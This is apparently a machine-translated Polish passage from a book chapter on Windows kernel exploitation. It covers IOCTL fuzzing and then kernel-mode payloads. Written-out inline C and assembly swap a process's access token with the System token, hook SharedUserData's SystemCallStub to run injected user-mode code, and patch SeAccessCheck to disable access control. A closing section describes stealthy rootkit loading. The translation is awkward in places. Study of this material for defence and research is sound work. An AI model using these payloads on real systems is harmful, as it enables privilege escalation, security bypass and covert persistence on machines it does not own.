Jest to zwykle wykonywane przez podpięcie DeviceIoControl w procesie, który komunikuje się z urządzeniem. Proces zawierający uchwyt do urządzenia można łatwo określić za pomocą narzędzia Sysinternals Process Explorer. Zaletą tego podejścia jest to, że nie tylko przechwytujesz prawidłowe IOCTL (a zatem z definicji znasz ich typ transferu), ale także znasz prawidłowe rozmiary buforów wejściowych i wyjściowych oraz masz pewne przykładowe dane, które można rozmyć. Główną wadą tego podejścia jest to, że przechwytywane są tylko IOCTL, które aplikacja generuje w okresie przechwytywania. Może się zdarzyć, że w sterowniku istnieje funkcjonalność, która może zostać uruchomiona przez IOCTL, której aplikacja nie wywołała - i może nigdy nie zostać wywołana - na przykład niektóre funkcje diagnostyczne lub debugowania, które zostały pozostawione, ale nie są używane w wersji detalicznej aplikacji. Nie omawialiśmy, jak rozmyć zebrane dane; to w dużej mierze zależy od tego, co robi kierowca. Często przechodzi się przez struktury z trybu użytkownika do trybu jądra. Często zawierają one wskaźniki do trybu użytkownika, a proste podejście „odwracanie bitów" prawdopodobnie wyzwoli wyjątki trybu jądra prowadzące do sprawdzenia błędów. Z drugiej strony aplikacja może zaciemniać lub kodować dane przesyłane przez interfejs IOCTL. W takim przypadku, aby uzyskać dobre pokrycie kodu, wymagane będzie sprytniejsze podejście do fuzzingu.

Ładunki trybu jądra

Teraz, gdy rozważyliśmy sposoby atakowania jądra, nadszedł czas, aby przyjrzeć się, co możesz chcieć zrobić w pierścieniu zero. Oczywiście poniższe informacje są tylko sugestiami i mogą nie pasować do wszystkich okoliczności. Ponadto wszystkie prezentowane przez nas ładunki mogłyby być bardziej wytrzymałe. W przypadku dodatkowych ładunków zainteresowanym czytelnikom zaleca się pobranie MetaSploit (http://www.metasploit.com/).

ZNACZENIE KONTYNUACJI I NIEZAWODNOŚCI

Pomyśl przez chwilę o exploitach w trybie użytkownika. Pisanie niezawodnych, niezawodnych exploitów dla kodu trybu użytkownika jest ważne, ale w zależności od kontekstu nie jest konieczne. Na przykład exploity dla błędów po stronie klienta mogą nie wymagać 100% niezawodności w zależności od kontekstu, w którym są używane. Podobnie, niektóre exploity po stronie serwera mogą również mieć margines błędu, jeśli na przykład błąd polega na przepełnieniu stosu w wątku puli pracowników, a naruszenie dostępu po prostu skutkuje zakończeniem wątku. Rozważmy teraz exploity w trybie jądra. W prawie wszystkich scenariuszach exploit jądra musi zadziałać za pierwszym razem i musi naprawić wszelkie uszkodzenia stosu lub sterty, które spowodował, aby zachować stabilność systemu. Niezastosowanie się do tego doprowadzi do sprawdzenia błędów. Maszyna może się natychmiast zrestartować, pozwalając na kolejną próbę, ale nie jest to ani eleganckie, ani ukradkowe.

Podnoszenie poziomu procesu w trybie użytkownika

Celem tego ładunku jest eskalacja uprawnień określonej aplikacji (potencjalnie aplikacji, z której została wyzwolona usterka, mimo że identyfikator procesu docelowego jest konfigurowalny). W tym celu musimy zmodyfikować token dostępu powiązany z procesem. Token dostępu zawiera szczegóły dotyczące tożsamości i uprawnień konta użytkownika powiązanego z procesem. Wskazuje na to pole

Token w strukturze EPROCESS odpowiadające procesowi. Najprostszym sposobem podniesienia uprawnień w ten sposób jest uczynienie tokena procesu docelowego wskazywaniem tokena dostępu procesu o wyższym poziomie uprawnień. Będziemy odnosić się do tych procesów odpowiednio jako miejsca docelowego i źródła. Bezpiecznym wyborem dla procesu źródłowego jest proces systemowy (PID 4 w systemie Windows XP, 2003 i Vista; 8 w systemie Windows 2000), pseudoproces używany do rozliczania czasu procesora używanego przez jądro. Kroki, które musimy podjąć, są następujące:

1. Znajdź prawidłową strukturę EPROCESS. Bloki EPROCESS są przechowywane na podwójnie połączonej liście; po znalezieniu prawidłowego wpisu na liście możemy przejść po liście, aby znaleźć nasze procesy źródłowe i docelowe. Istnieje kilka sposobów na znalezienie prawidłowego wpisu EPROCESS na połączonej liście. Jeśli wiemy, że nasz kod nie jest wykonywany w kontekście procesu Idle, możemy wykorzystać fakt, że FS:[0x124] wskaże na strukturę ETHREAD bieżącego procesu. Z ETHREAD możemy uzyskać adres aktualnej struktury EPROCESS procesu. Jeśli jednak nie możemy być pewni kontekstu, w jakim będzie wykonywany nasz kod, musimy zastosować inną technikę. Barnaby Jack w swoim artykule „Remote Windows Kernel Exploitation, Step into the Ring 0" (dostępny pod adresem http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf) sugeruje zlokalizowanie adresu PsLookupProcessByProcessId w obrębie ntoskrnl, przekazując mu PID procesu systemowego. Alternatywną techniką w systemie Windows XP i nowszych jest zlokalizowanie zmiennej PsActiveProcessHead (wskaźnika nagłówka listy procesów) za pośrednictwem KdVersionBlock, nieudokumentowanej struktury omawianej przez Opc0de, a później przez Alexa Ionescu: https://www.rootkit. com/newsread.php?newsid=153.

2. Przechodzimy po połączonej liście, porównując PID przechowywane w każdym bloku EPROCESS z tymi w naszych procesach źródłowych i docelowych. Zapisujemy wskaźnik zarówno do naszego źródłowego, jak i docelowego EPROCESU.

3. Jeśli zlokalizowaliśmy oba identyfikatory PID, kopiujemy wskaźnik Token ze źródłowego EPROCESS do miejsca docelowego i zwracamy sukces.

4. Jeśli zakończyliśmy przeglądanie listy (to znaczy, że wróciliśmy do naszego pierwotnego EPROCESS), zwracamy niepowodzenie. Spójrz na ten ładunek dla Windows XP SP2; zaimplementowaliśmy to jako funkcję C z wbudowanym asemblerem:

```
NTSTATUS SwapAccessToken(DWORD dwDstPid, DWORD dwSrcPid)

{

DWORD dwStartingEPROCESS = 0;

DWORD dwDstEPROCESS = 0;

DWORD dwSrcEPROCESS = 0;

DWORD dwRetValue = 0;

DWORD dwActiveProcessLinksOffset = 0x88;

DWORD dwTokenOffset = 0xC8;

DWORD dwDelta = dwTokenOffset - dwActiveProcessLinksOffset;

_asm

{
```

```
pushad
mov eax, fs:[0x124]
mov eax, [eax+0x44]
add eax, dwActiveProcessLinksOffset
mov dwStartingEPROCESS, eax
CompareSrcPid:
mov ebx, [eax - 0x4]
cmp ebx, dwSrcPid
jne CompareDstPid
mov dwSrcEPROCESS, eax
CompareDstPid:
cmp ebx, dwDstPid
jne AreWeDone
mov dwDstEPROCESS, eax
AreWeDone:
mov edx, dwDstEPROCESS
and edx, dwSrcEPROCESS
test edx, edx
jne SwapToken
mov eax, [eax]
cmp eax, dwStartingEPROCESS
jne CompareSrcPid
mov dwRetValue, 0xC000000F
jmp WeAreDone
SwapToken:
mov eax, dwSrcEPROCESS
mov ecx, dwDelta
add eax, ecx
mov eax, [eax]
mov ebx, dwDstEPROCESS
mov [ebx + ecx], eax
```

```
WeAreDone:

popad

}

return dwRetValue;

}
```

Istnieje kilka sposobów na ulepszenie tego ładunku. Po pierwsze, jeśli ten ładunek jest dostarczany w buforze (w przeciwieństwie do zwykłego mapowania w lokalizacji w trybie użytkownika), może być konieczne zoptymalizowanie go w celu zmniejszenia jego rozmiaru. Po drugie, jeśli zdobyty token dostępu zostanie zniszczony (czyli pamięć zwolniona po zakończeniu procesu źródłowego), spowoduje to problemy. To była motywacja sugerowanego użycia procesu Systemu, ponieważ to się nie skończy. Możliwe jest utworzenie całkowicie nowego tokena dostępu z wymaganą tożsamością i uprawnieniami, ale wymaga to dużo więcej wysiłku niż zwykłe skopiowanie wskaźnika. Inną kwestią jest to, że struktura EPROCESS jest nieudokumentowana i dlatego może ulec zmianie. Wraz z wstawianiem i usuwaniem pól między różnymi wersjami systemu Windows przesunięcie do pola tokenu będzie się przemieszczać. Oznacza to, że ładunek będzie musiał używać różnych przesunięć w zależności od wersji systemu Windows. Te ulepszenia są pozostawione Tobie jako ćwiczenie.

Uruchamianie arbitralnego ładunku w trybie użytkownika

Na początku rozdziału stwierdziliśmy, że naszym ostatecznym celem było wykonanie kodu w pierścieniu zero. To, co staje się oczywiste, gdy autorzy opracowują ładunki jądra po raz pierwszy, to fakt, że proste operacje, takie jak odczytywanie i zapisywanie plików oraz otwieranie gniazda, zazwyczaj wymagają więcej instrukcji w trybie jądra niż w trybie użytkownika i często kontrolują proces trybu użytkownika działający jako LocalSystem jest wystarczający dla potrzeb atakującego. Dlatego warto opracować ogólny ładunek trybu jądra, który wykona ładunek trybu użytkownika w kontekście dowolnego procesu. W ten sposób możemy zaatakować jądro, uzyskać przywilej pierścienia zero poprzez naszą lukę, a następnie zrzucić nasz standardowy ładunek trybu użytkownika, taki jak powłoka wiązania, do procesu działającego jako LocalSystem. Dodatkową korzyścią tego podejścia jest to, że w zależności od procesu, który wstrzykujemy do, jeśli na pewnym etapie nasz kod spowoduje jego awarię, nie spowoduje wyłączenia maszyny z niebieskim ekranem. Aby wstrzyknąć nasz ładunek, będziemy polegać na fakcie, że kiedy proces wykonuje wywołanie systemowe, wywołuje poprzez SharedUserData!SystemCallStub (zakładając, że Windows XP i nowsze), które krótko omówiliśmy wcześniej w rozdziale. Modyfikując ten wskaźnik funkcji, możemy sprawić, że nasz kod będzie wykonywany za każdym razem, gdy wykonywane jest wywołanie systemowe. Oto kroki, które musimy podjąć:

1. Wyłączamy ochronę przed zapisem w pamięci i zapisujemy nasz kod przekazywania wywołań systemowych w nieużywanym obszarze SharedUserData. Ten fragment kodu najpierw sprawdzi PID procesu wywołującego, aby zobaczyć, czy pasuje do naszego celu; jeśli mamy dopasowanie, wykonamy nasz ładunek. Gdy nasz ładunek zostanie wykonany lub jeśli PID nie będzie pasował, wywołamy oryginalny wskaźnik funkcji SystemCallStub. Uzyskujemy PID procesu wywołującego z Bloku Środowiska wątków (TEB).

2. Wyłączamy przerwania, ponieważ nie chcemy, aby nasza łatka SystemCallStub została wywłaszczona przed zakończeniem.

3. Modyfikujemy SystemCallStub, aby wskazywał na nasz kod przekazujący.

4. Ponownie włączamy ochronę pamięci i ponownie włączamy przerwania. Spójrz na ten ładunek. Ponownie zaimplementowaliśmy to jako funkcję C z wbudowanym asemblerem dla jasności:

```
NTSTATUS SharedUserDataHook(DWORD dwTargetPid)
{
char usermodepayload[] = { 0x90, // NOP
0xC3 // RET
};
char passthrough[] =
{
0x50, // PUSH EAX
0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, // MOV EAX,DWORD PTR FS:[18]
0x8B, 0x40, 0x20, // MOV EAX,DWORD PTR DS:[EAX + 20]
0x3B, 0x05, 0xF4, 0x03, 0xFE, 0x7F, // CMP EAX,DWORD PTR DS:[7FFE03FC]
0x75, 0x07, // JNZ exit
0xB8, 0x00, 0x05, 0xFE, 0x7F, // MOV EAX,0x7FFE0500
0xFF, 0xD0, // CALL EAX
/* exit: */
0x58, // POPAD
0xFF, 0x25, 0xF8, 0x03, 0xFE, 0x7F, // JMP DWORD PTR DS:[7FFE03F8]
};
DWORD *pdwPassThruAddr = (DWORD *) 0x7FFE0400;
DWORD *pdwTargetPidAddr = (DWORD *) 0x7FFE03FC;
DWORD *pdwNewSystemCallStub = (DWORD *) 0x7FFE03F8;
DWORD *pdwOriginalSystemCallStub = (DWORD *) 0x7FFE0300;
DWORD *pdwUsermodePayloadAddr = (DWORD *) 0x7FFE0500;
// Disable write protection
_asm {
push eax
mov eax, cr0
and eax, not 10000h
mov cr0, eax
```

```
pop eax
}
memcpy((VOID *)0x7FFE0400, passthrough, sizeof(passthrough));
memcpy((VOID *)0x7FFE0500, usermodepayload,
sizeof(usermodepayload));
*pdwTargetPidAddr = dwTargetPid;
// Disable interrupts
asm { cli }
*pdwNewSystemCallStub = *pdwOriginalSystemCallStub;
*pdwOriginalSystemCallStub = (DWORD) pdwPassThruAddr;
// Re-enable interrupts
asm { sti }
// Re-enable memory protection
asm { push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
}
return STATUS_SUCCESS;
}
```

Poprzedni kod po prostu wykonuje ładunek trybu użytkownika składający się z NOP. Ponadto wykonuje ten ładunek z samego SharedUserData; w systemach z włączoną funkcją DEP, SharedUserData musi być najpierw oznaczone jako wykonywalny. Adresy, które wybraliśmy dla naszego kodu tranzytowego i do przechowywania zmiennych, takich jak docelowy PID, są dowolne.

Obalanie bezpieczeństwa jądra

Celem tego ładunku jest zademonstrowanie dokonania subtelnej zmiany strony kodowej jądra w celu wyłączenia kontroli dostępu. Sedno bezpieczeństwa systemu Windows sprowadza się do pojedynczej procedury należącej do rodziny funkcji Security Reference Monitor. Ta funkcja nazywa się SeAccessCheck i jest eksportowana przez ntoskrnl. Jego celem jest określenie, czy żądane prawa dostępu mogą zostać przyznane obiektowi chronionemu przez deskryptor bezpieczeństwa i właściciela obiektu. Poprawienie tej funkcji, aby zawsze przyznawać żądane prawa dostępu, skutecznie wyłącza kontrolę dostępu. Można to zrobić za pomocą poprawki jednobajtowej. Spójrz na prototyp SeAccessCheck:

```
BOOLEAN
```

SeAccessCheck(

IN PSECURITY_DESCRIPTOR SecurityDescriptor,

IN PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,

IN BOOLEAN SubjectContextLocked,

IN ACCESS_MASK DesiredAccess,

IN ACCESS_MASK PreviouslyGrantedAccess,

OUT PPRIVILEGE_SET *Privileges OPTIONAL,

IN PGENERIC_MAPPING GenericMapping,

IN KPROCESSOR_MODE AccessMode,

OUT PACCESS_MASK GrantedAccess,

OUT PNTSTATUS AccessStatus

);

SeAccessCheck to duża i złożona funkcja. Rozmontowując od samego początku zauważamy, że wcześnie powstaje gałąź w oparciu o wartość parametru AccessMode:

kd> u SeAccessCheck

nt!SeAccessCheck:

80563cc8 8bff mov edi,edi

80563cca 55 push ebp

80563ccb 8bec mov ebp,esp

80563ccd 53 push ebx

80563cce 33db xor ebx,ebx

80563cd0 385d24 cmp [ebp+0x24],bl

80563cd3 0f8440ce0000 je nt!SeAccessCheck+0xd (80570b19)

Parametr AccessMode określa, czy to samo jądro żąda praw dostępu do obiektu, czy ostatecznie żądanie pochodzące z trybu użytkownika. Ponieważ nie ma żadnych zabezpieczeń, gdy wykonujesz kod w trybie jądra, jądro zawsze otrzymuje żądane prawa dostępu. Dlatego możemy załatać instrukcję je do jmp, aby zarówno przypadek trybu użytkownika, jak i przypadek trybu jądra wykonywały ścieżkę kodu „z jądra”. Spójrz na ładowność:

push eax

// Disable interrupts so that we won’t get preempted half way through

which may leave the patch incomplete

cli

// Disable the write protect bit in Control Register 0 (CR0) so that we

```
can write to kernel code pages

mov eax, cr0

and eax, not 10000h

mov cr0, eax

// Overwrite the je with a nop; jmp

mov eax, 0x80563cd3

mov word ptr [eax], 0xe990

// Re-enable the write protect bit

mov eax, cr0

or eax, 10000h

mov cr0, eax

//Re-enable interrupts.

sti

pop eax
```

Zauważ, że używamy zakodowanego adresu dla SeAccessCheck. Aby uczynić ten ładunek bardziej niezawodnym, moglibyśmy zmusić go do określenia wersji systemu Windows i wybrania odpowiedniego adresu do zastąpienia. Moglibyśmy uczynić go naprawdę dynamicznym, wyszukując adres SeAccessCheck w tabeli eksportu ntoskrnl i implementując prosty deasembler, aby poprawnie zlokalizować instrukcję je.

Instalowanie rootkita

Częstym zastosowaniem exploitów trybu jądra jest zainstalowanie rootkita. Można to osiągnąć na kilka sposobów: Być może najłatwiej jest zaimplementować rootkita jako napęd urządzenia i załadować go z dysku za pomocą funkcji ZwLoadDriver natywnego interfejsu API. Ta funkcja wymaga, aby w HKLM\System\CurrentControlSet\Services\<Nazwa_sterownika> znajdował się klucz rejestru zawierający podklucz ImagePath zawierający lokalizację sterownika. To nie jest ukradkowe podejście. Bardziej odpowiednią technikę opublikował Greg Hoglund z Rootkit.com. Ta technika wykorzystuje natywną funkcję API ZwSetSystemInformation.

Jeszcze bardziej skradające się podejście, biorąc pod uwagę, że ładunek jądra działa w pierścieniu zero, polega po prostu na przydzieleniu pamięci niestronicowanej i skopiowaniu do rootkita z dysku lub z sieci, naprawiając relokacje i importy zgodnie z wymaganiami. Aby uzyskać więcej informacji na temat tworzenia rootkitów, radzimy zapoznać się z Rootkitami: Subverting the Windows Kernel autorstwa Grega Hoglunda i Jamiego Bultera oraz Professional Rootkits autorstwa Rica Vielera (Wrox, 2007).

Podsumowanie

Omówiliśmy najczęstsze typy błędów jądra, które prowadzą do wykonania dowolnego kodu, i omówiliśmy kilka przydatnych ładunków. Podstawowym przesłaniem, które należy wyciągnąć z tego rozdziału, jest to, że kod jądra, a zwłaszcza kod sterowników innych firm, cierpi na te same klasy błędów, które analitycy bezpieczeństwa odkrywają i wykorzystują od lat. Biorąc pod uwagę, że wciąż

stosunkowo mało uwagi poświęca się lokalizowaniu błędów jądra, na drzewie bez wątpienia pozostały nisko wiszące owoce.